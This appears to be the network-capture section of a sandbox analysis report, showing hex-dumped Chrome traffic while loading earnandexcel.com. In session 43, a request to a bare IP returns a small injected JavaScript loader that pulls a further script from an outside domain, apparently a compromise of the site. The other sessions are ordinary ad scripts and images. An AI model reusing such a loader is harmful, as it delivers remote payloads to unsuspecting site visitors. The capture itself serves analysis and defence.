DDDDDRDDDDDDDDD!PQRRRRRR(((R\|R(((%MV*UtRNSf\S&-5$;evqRH2!PLDBzxjE@75&XJJ:0#tlWK=4/#tkd
2024-04-11 21:26:40 UTC	638	IN	Data Raw: 8f ca 05 00 c7 67 b9 3c 33 04 3f 43 07 4a 72 22 d5 ae 42 2b 87 3f b9 49 b2 e0 23 34 c1 56 43 e5 9b 67 c9 b4 82 7e 3c 5c e7 5f 12 ea fb 99 56 d1 99 fe 72 80 50 e2 01 37 5b a7 0a 4f 08 f9 20 54 28 88 aa 13 b3 3b 55 41 18 cd 71 5c 14 f1 90 63 c7 47 e8 56 5c 0d c7 6b d9 0b fb c5 7d 4b d5 a9 fa c1 59 a0 5a a3 4c 0a 5b 0b a2 ce 03 ad 4c 41 f8 76 e8 d0 11 85 4c 0b 76 35 21 fa c8 b2 d2 31 c5 04 47 a5 4c 91 94 54 c7 ea a5 18 dd 53 a7 24 8d e6 75 fc 82 c8 8d 0f f3 80 30 a9 92 dc 38 24 0f e3 95 57 82 df cc a5 84 9c b7 03 64 a2 a1 2b 42 10 f2 42 13 80 4a 0d c4 b1 db b4 6b 92 ea 7e bc 27 51 52 41 0f 3f bd d4 2a d1 4a 39 c7 fe 5d e5 37 43 21 06 30 87 27 39 59 00 16 35 d1 27 e5 03 83 49 25 81 9b 35 48 d5 4a 95 58 b9 02 38 f1 44 aa 15 df 8a 5a 74 86 c8 50 25 12 e7 3e 28 Data Ascii: g<3?CJr"B+?I#4VCg~<\_VrP7[O T(;UAq\cGV\k}KYZL[LAvLv5!1GLTS$u08$Wd+BBJk~'QRA?*J9]7C!0'9Y5'I%5HJX8DZtP%>(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.17	49753	147.45.47.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:39 UTC	528	OUT	GET /scripts/theme.js HTTP/1.1 Host: 147.45.47.87 Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:40 UTC	276	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:40 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Tue, 26 Mar 2024 16:06:17 GMT ETag: "f4-61492785f58ce" Accept-Ranges: bytes Content-Length: 244 Vary: Accept-Encoding Connection: close Content-Type: text/javascript
2024-04-11 21:26:40 UTC	244	IN	Data Raw: 3b 28 66 75 6e 63 74 69 6f 6e 28 7a 2c 62 2c 6f 2c 65 2c 67 2c 70 29 7b 67 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 6f 29 3b 70 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 6f 29 5b 30 5d 3b 67 2e 61 73 79 6e 63 3d 31 3b 67 2e 73 72 63 3d 65 3b 70 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 67 2c 70 29 3b 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 77 65 6c 63 6f 6d 65 2e 76 69 73 69 6f 6e 61 72 79 79 6f 75 74 68 2e 6f 72 67 2f 4c 44 33 70 57 46 63 66 69 6a 46 49 48 39 4e 71 47 77 54 46 65 6c 34 66 30 33 70 46 56 5a 30 68 53 6c 65 64 49 45 42 65 6a 6a 4a 62 55 49 64 36 55 51 3d 3d 27 29 3b Data Ascii: ;(function(z,b,o,e,g,p){g=b.createElement(o);p=b.getElementsByTagName(o)[0];g.async=1;g.src=e;p.parentNode.insertBefore(g,p);})(window,document,'script','https://welcome.visionaryyouth.org/LD3pWFcfijFIH9NqGwTFel4f03pFVZ0hSledIEBejjJbUId6UQ==');

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.17	49757	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:40 UTC	701	OUT	GET /wp-content/themes/edumall/assets/images/cursor/light-close.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/wp-content/themes/edumall/style.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0
2024-04-11 21:26:40 UTC	900	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:40 GMT Content-Type: image/png Content-Length: 172 Connection: close CF-Ray: 872e0e6648d5439c-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60dfea3f-ac" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Sat, 03 Jul 2021 04:40:31 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R6b6QAW4NVsnCf%2FUA8l9WLY13T2iFFHFhV7jDYvHOrTPveBVwAwoNLpDfI31DFV%2FPur9yMreiufeUfr6a0OETa7S2I79JIua%2BG13LWzpHEyCIOKW8tu9YBma8ZEnqm9T9F0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:40 UTC	172	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 02 03 00 00 00 9d 19 d5 6b 00 00 00 0c 50 4c 54 45 00 00 00 ff ff ff ff ff ff ff ff ff 38 c0 3b a8 00 00 00 03 74 52 4e 53 00 60 cf 94 50 70 58 00 00 00 4c 49 44 41 54 08 d7 2d 8e c1 0d 00 21 0c c3 72 9f 63 0a 76 61 28 06 61 34 46 22 96 0c 48 8d 62 da 26 27 3d 7f 36 65 f6 26 d5 63 25 df e5 21 81 13 8c c2 a9 0f 07 d5 02 15 16 01 8b 2c 9a 7e b1 c1 76 87 39 da 45 ae 35 84 91 0c f8 00 08 43 12 67 6a ce 41 66 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRkPLTE8;tRNS`PpXLIDAT-!rcva(a4F"Hb&'=6e&c%!,~v9E5CgjAfIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.17	49758	142.251.35.162	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:40 UTC	640	OUT	GET /tag/js/gpt.js HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:40 UTC	786	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Vary: Accept-Encoding Date: Thu, 11 Apr 2024 21:26:40 GMT Expires: Thu, 11 Apr 2024 21:26:40 GMT Cache-Control: private, max-age=900, stale-while-revalidate=3600 Content-Type: text/javascript; charset=UTF-8 ETag: 781 / 19824 / m202404080101 / config-hash: 13954375364975971090 Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Server: cafe Content-Length: 92951 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:26:40 UTC	469	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 73 74 74 63 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 69 66 28 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 74 61 67 26 26 67 6f 6f 67 6c 65 74 61 67 2e 65 76 61 6c 53 63 72 69 70 74 73 29 7b 67 6f 6f 67 6c 65 74 61 67 2e 65 76 61 6c 53 63 72 69 70 74 73 28 29 3b 7d 69 66 28 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 74 61 67 26 26 67 6f 6f 67 6c 65 74 61 67 2e 5f 6c 6f 61 64 65 64 5f 29 72 65 74 75 72 6e 3b 76 61 72 20 6e 2c 61 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 2c 63 61 3d 22 66 75 6e Data Ascii: (function(sttc){var window=this;if(window.googletag&&googletag.evalScripts){googletag.evalScripts();}if(window.googletag&&googletag._loaded_)return;var n,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ca="fun
2024-04-11 21:26:40 UTC	1255	IN	Data Raw: 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 67 6c 6f 62 61 6c 20 6f 62 6a 65 63 74 22 29 3b 7d 2c 65 61 3d 64 61 28 74 68 69 73 29 2c 66 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 3d Data Ascii: bject"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},ea=da(this),fa="function"===typeof Symbol&&"symbol"===
2024-04-11 21:26:40 UTC	1255	IN	Data Raw: 79 20 49 6e 74 38 41 72 72 61 79 20 55 69 6e 74 38 41 72 72 61 79 20 55 69 6e 74 38 43 6c 61 6d 70 65 64 41 72 72 61 79 20 49 6e 74 31 36 41 72 72 61 79 20 55 69 6e 74 31 36 41 72 72 61 79 20 49 6e 74 33 32 41 72 72 61 79 20 55 69 6e 74 33 32 41 72 72 61 79 20 46 6c 6f 61 74 33 32 41 72 72 61 79 20 46 6c 6f 61 74 36 34 41 72 72 61 79 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 63 3d 30 3b 63 3c 62 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 7b 76 61 72 20 64 3d 65 61 5b 62 5b 63 5d 5d 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 64 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 64 2e 70 72 6f 74 6f 74 79 70 65 5b 61 5d 26 26 63 61 28 64 2e 70 72 6f 74 6f 74 79 70 65 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 Data Ascii: y Int8Array Uint8Array Uint8ClampedArray Int16Array Uint16Array Int32Array Uint32Array Float32Array Float64Array".split(" "),c=0;c<b.length;c++){var d=ea[b[c]];"function"===typeof d&&"function"!=typeof d.prototype[a]&&ca(d.prototype,a,{configurable:!0,wri
2024-04-11 21:26:40 UTC	1255	IN	Data Raw: 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 65 6c 73 65 7b 76 61 72 20 6e 61 3b 61 3a 7b 76 61 72 20 6f 61 3d 7b 61 3a 21 30 7d 2c 70 61 3d 7b 7d 3b 74 72 79 7b 70 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 6f 61 3b 6e 61 3d 70 61 2e 61 3b 62 72 65 61 6b 20 61 7d 63 61 74 63 68 28 61 29 7b 7d 6e 61 3d 21 31 7d 6d 61 3d 6e 61 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 62 3b 69 66 28 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 21 3d 3d 62 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 61 2b 22 20 69 73 20 6e 6f 74 20 65 78 74 65 6e 73 69 62 6c 65 22 29 3b 72 65 74 75 72 6e 20 61 7d 3a 6e 75 6c 6c 7d 76 61 72 20 72 61 3d 6d 61 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 70 72 6f 74 6f 74 79 70 65 3d Data Ascii: ct.setPrototypeOf;else{var na;a:{var oa={a:!0},pa={};try{pa.__proto__=oa;na=pa.a;break a}catch(a){}na=!1}ma=na?function(a,b){a.__proto__=b;if(a.__proto__!==b)throw new TypeError(a+" is not extensible");return a}:null}var ra=ma,B=function(a,b){a.prototype=
2024-04-11 21:26:40 UTC	1255	IN	Data Raw: 20 68 3b 21 28 68 3d 67 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 68 3d 68 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 68 5b 30 5d 2c 68 5b 31 5d 29 7d 7d 3b 66 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 69 66 28 21 63 28 67 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 57 65 61 6b 4d 61 70 20 6b 65 79 22 29 3b 69 66 28 21 7a 28 67 2c 64 29 29 7b 76 61 72 20 6b 3d 6e 65 77 20 62 3b 63 61 28 67 2c 64 2c 7b 76 61 6c 75 65 3a 6b 7d 29 7d 69 66 28 21 7a 28 67 2c 64 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 57 65 61 6b 4d 61 70 20 6b 65 79 20 66 61 69 6c 3a 20 22 2b 67 29 3b 67 5b 64 5d 5b 74 68 69 73 2e 67 5d 3d 68 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 66 2e 70 72 6f 74 6f 74 79 Data Ascii: h;!(h=g.next()).done;)h=h.value,this.set(h[0],h[1])}};f.prototype.set=function(g,h){if(!c(g))throw Error("Invalid WeakMap key");if(!z(g,d)){var k=new b;ca(g,d,{value:k})}if(!z(g,d))throw Error("WeakMap key fail: "+g);g[d][this.g]=h;return this};f.prototy
2024-04-11 21:26:40 UTC	1255	IN	Data Raw: 68 2c 76 61 6c 75 65 3a 6b 7d 2c 6c 2e 6c 69 73 74 2e 70 75 73 68 28 6c 2e 42 29 2c 74 68 69 73 5b 31 5d 2e 47 2e 6e 65 78 74 3d 6c 2e 42 2c 74 68 69 73 5b 31 5d 2e 47 3d 6c 2e 42 2c 74 68 69 73 2e 73 69 7a 65 2b 2b 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 6c 65 74 65 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 68 3d 64 28 74 68 69 73 2c 68 29 3b 72 65 74 75 72 6e 20 68 2e 42 26 26 68 2e 6c 69 73 74 3f 28 68 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 68 2e 69 6e 64 65 78 2c 31 29 2c 68 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 68 2e 69 64 5d 2c 68 2e 42 2e 47 2e 6e 65 78 74 3d 68 2e 42 2e 6e 65 78 74 2c 68 2e 42 2e 6e 65 78 74 2e 47 3d 68 2e 42 2e 47 2c 68 2e 42 2e 68 65 61 Data Ascii: h,value:k},l.list.push(l.B),this[1].G.next=l.B,this[1].G=l.B,this.size++);return this};c.prototype.delete=function(h){h=d(this,h);return h.B&&h.list?(h.list.splice(h.index,1),h.list.length\|\|delete this[0][h.id],h.B.G.next=h.B.next,h.B.next.G=h.B.G,h.B.hea
2024-04-11 21:26:40 UTC	1255	IN	Data Raw: 3b 6c 2e 6e 65 78 74 21 3d 6c 2e 68 65 61 64 3b 29 72 65 74 75 72 6e 20 6c 3d 6c 2e 6e 65 78 74 2c 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 6b 28 6c 29 7d 3b 6c 3d 6e 75 6c 6c 7d 72 65 74 75 72 6e 7b 64 6f 6e 65 3a 21 30 2c 76 61 6c 75 65 3a 76 6f 69 64 20 30 7d 7d 29 7d 2c 66 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 3d 7b 7d 3b 72 65 74 75 72 6e 20 68 2e 47 3d 68 2e 6e 65 78 74 3d 68 2e 68 65 61 64 3d 68 7d 2c 67 3d 30 3b 72 65 74 75 72 6e 20 63 7d 2c 22 65 73 36 22 29 3b 76 28 22 4e 75 6d 62 65 72 2e 4d 41 58 5f 53 41 46 45 5f 49 4e 54 45 47 45 52 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 39 30 30 37 31 39 39 32 35 34 37 34 30 39 39 31 7d 2c 22 65 73 36 22 29 3b 76 28 22 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 22 2c Data Ascii: ;l.next!=l.head;)return l=l.next,{done:!1,value:k(l)};l=null}return{done:!0,value:void 0}})},f=function(){var h={};return h.G=h.next=h.head=h},g=0;return c},"es6");v("Number.MAX_SAFE_INTEGER",function(){return 9007199254740991},"es6");v("Number.isFinite",
2024-04-11 21:26:40 UTC	1255	IN	Data Raw: 28 4f 62 6a 65 63 74 2c 66 2c 62 29 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 31 7d 7d 2c 22 65 73 37 22 29 3b 76 61 72 20 74 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 6e 75 6c 6c 3d 3d 61 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 27 74 68 69 73 27 20 76 61 6c 75 65 20 66 6f 72 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 6e 75 6c 6c 20 6f 72 20 75 6e 64 65 66 69 6e 65 64 22 29 3b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 Data Ascii: (Object,f,b))return!0}return!1}},"es7");var ta=function(a,b,c){if(null==a)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype."+c+"
2024-04-11 21:26:40 UTC	1255	IN	Data Raw: 6c 28 64 2c 66 2e 76 61 6c 75 65 2c 67 2b 2b 29 29 7d 65 6c 73 65 20 66 6f 72 28 66 3d 62 2e 6c 65 6e 67 74 68 2c 67 3d 30 3b 67 3c 66 3b 67 2b 2b 29 65 2e 70 75 73 68 28 63 2e 63 61 6c 6c 28 64 2c 62 5b 67 5d 2c 67 29 29 3b 72 65 74 75 72 6e 20 65 7d 7d 2c 22 65 73 36 22 29 3b 76 28 22 53 65 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 61 7c 7c 21 75 28 61 2e 70 72 6f 74 6f 74 79 70 65 2c 22 65 6e 74 72 69 65 73 22 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e Data Ascii: l(d,f.value,g++))}else for(f=b.length,g=0;g<f;g++)e.push(c.call(d,b[g],g));return e}},"es6");v("Set",function(a){if(function(){if(!a\|\|"function"!=typeof a\|\|!u(a.prototype,"entries")\|\|"function"!=typeof Object.seal)return!1;try{var c=Object.seal({x:4}),d=n
2024-04-11 21:26:40 UTC	1255	IN	Data Raw: 69 73 3b 74 68 69 73 2e 67 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 63 2e 63 61 6c 6c 28 64 2c 66 2c 66 2c 65 29 7d 29 7d 3b 72 65 74 75 72 6e 20 62 7d 2c 22 65 73 36 22 29 3b 76 28 22 4f 62 6a 65 63 74 2e 65 6e 74 72 69 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 5b 5d 2c 64 3b 66 6f 72 28 64 20 69 6e 20 62 29 7a 28 62 2c 64 29 26 26 63 2e 70 75 73 68 28 5b 64 2c 62 5b 64 5d 5d 29 3b 72 65 74 75 72 6e 20 63 7d 7d 2c 22 65 73 38 22 29 3b 76 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e Data Ascii: is;this.g.forEach(function(f){return c.call(d,f,f,e)})};return b},"es6");v("Object.entries",function(a){return a?a:function(b){var c=[],d;for(d in b)z(b,d)&&c.push([d,b[d]]);return c}},"es8");v("String.prototype.startsWith",function(a){return a?a:function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.17	49760	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:40 UTC	643	OUT	GET /wp-content/uploads/edumall-shape-01.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0
2024-04-11 21:26:40 UTC	897	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:40 GMT Content-Type: image/png Content-Length: 6611 Connection: close CF-Ray: 872e0e66e8e441df-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32f1-19d3" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:25 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A81k6B0VFlODwdEq9L7jME5DUIUUqmYHr05dhecph867G1gSc4CAbSzaFI9gkk0HbxMR15afIT4QVGPwAU8GDyrJtMLpBb30xVNHIIRFM32UFxyYyW5V1S78R4rzRn6NXpU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:40 UTC	472	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 b3 00 00 00 b2 08 03 00 00 00 3e 96 0e 64 00 00 00 87 50 4c 54 45 00 00 00 54 6c ff 61 74 ff 58 6a ff 5c 70 ff 62 75 ff 61 74 ff 61 74 ff 61 74 ff 5f 71 ff 5c 70 ff 5d 70 ff 60 73 ff 61 74 ff 61 74 ff 5e 73 ff 61 74 ff 61 74 ff 5f 72 ff 61 74 ff 61 74 ff 61 74 ff 60 74 ff 61 74 ff 60 73 ff 61 74 ff 61 74 ff 61 74 ff 61 75 ff 61 74 ff 61 74 ff 60 73 ff 61 74 ff 5f 72 ff 61 74 ff 61 73 ff 5f 72 ff 61 74 ff 61 74 ff 61 74 ff 61 73 ff 60 73 ff 60 74 ff 61 74 ff 61 74 ff c4 86 a6 74 00 00 00 2d 74 52 4e 53 00 08 cf 0e 14 cb bf c7 ba 27 18 1e 41 af b5 22 5d 7d 2d 97 76 aa 47 8d 3b c3 a5 62 d7 92 88 4b 83 36 d3 71 31 6c 9c 67 57 4f 54 a0 db 96 05 91 bf 00 00 18 ce 49 44 41 54 78 da d5 9d e9 7a e3 28 d3 86 Data Ascii: PNGIHDR>dPLTETlatXj\pbuatatat_q\p]p`satat^satat_ratatat`tat`satatatauatat`sat_ratas_ratatatas`s`tatatt-tRNS'A"]}-vG;bK6q1lgWOTIDATxz(
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: a5 61 8a 22 87 ed dd ab 0b c9 c2 67 34 7d f9 b3 cd 62 91 09 2a 3d 61 e1 9d 41 99 42 07 fd 78 e8 2f 58 6e e8 43 24 4b f6 07 44 12 e2 0c 9c 84 f9 a2 be 92 9d 76 9c 30 c6 08 a1 a2 2c 45 41 64 d3 23 75 46 a2 f0 ef 57 c9 31 40 0b 7e ea b0 54 e6 3d 5f 30 ed f6 c9 31 4d 67 4a b7 aa 3a 5c 47 9b 11 c9 ff c0 b6 68 d7 97 4a 9b f5 74 cc a2 ba ab dc 29 0c f3 ad 2e 48 d9 a2 0f 11 95 43 d4 1b 2f bf 6c 1e 5b 8c bf bd c7 4e 70 59 2c c5 06 37 9c 89 2c 9e c7 6e 91 94 16 fc 1a a7 b6 f2 ed f5 92 79 a0 ff 87 83 bf 69 60 1d f3 6d e0 0c 6f 2b 89 6c 95 9f 4c 70 b2 bd 9b 68 64 da b6 a1 09 13 75 97 fd 05 6a fb e5 ef e9 b2 e1 73 56 f0 6b d3 75 0b c7 bc c9 95 a5 96 bd 36 16 64 ef 6a 1c 82 63 d1 5d 7c dd 0f 58 ab ef 31 20 c8 b2 ac c9 ad e2 2e a8 5c 4f 1d c6 9e 94 16 68 3d 4a 6e 43 3d Data Ascii: a"g4}b*=aABx/XnC$KDv0,EAd#uFW1@~T=_01MgJ:\GhJt).HC/l[NpY,7,nyi`mo+lLphdujsVku6djc]\|X1 .\Oh=JnC=
